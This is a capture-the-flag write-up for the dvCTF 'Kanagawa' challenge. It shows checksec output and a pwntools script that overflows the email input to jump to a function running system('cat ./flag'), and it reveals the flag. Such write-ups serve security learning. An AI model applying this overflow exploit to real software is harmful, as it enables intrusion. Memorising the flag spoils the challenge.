Kanagawa

by 5h4d0w / C0d3 Bre4k3rs

Tags: bufferoverflow pwn rop

Rating:

The given binary asks for mail address and a message, and always reply with "Our security team will reply as soon as possible.".

While looking at the output of `strings`, I found this interesting string: cat ./flag After that, I examined the security features of the binary using `checksec`

```
$ checksec kanagawa
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

Because of the lack of PIE and stack canary, and a buffer overflow vulnerability in the mail input (found by viewing the disassembly), It is possible to reach the system("cat ./flag") using ROP. The call to cat the flag appears in a function named "recovery_mode", so I just need to overwrite eip with the address of this function. Here is the exploit script using pwntools:

```
from pwn import *

context.arch = 'i386'
context.log_level = 'debug'

elf = ELF('kanagawa')

if not args.REMOTE:
        p = elf.process()
else:
        host, port = 'challs.dvc.tf', 4444
        p = remote(host, port)

recovery_mode = elf.symbols['recovery_mode'] # executes system("cat ./flag")

offset = 40 # determined by lowest segfault
padding = b'A' * offset

payload = padding
payload += p32(recovery_mode)

p.sendlineafter("Email: ", payload)

flag = p.recvline()
log.success(f"Flag: {flag.decode().strip()}")
```

Run with: `$ python3 solution.py REMOTE`

The flag is spitted out! dvCTF{0v3rfl0w_tsun4m1}

Comments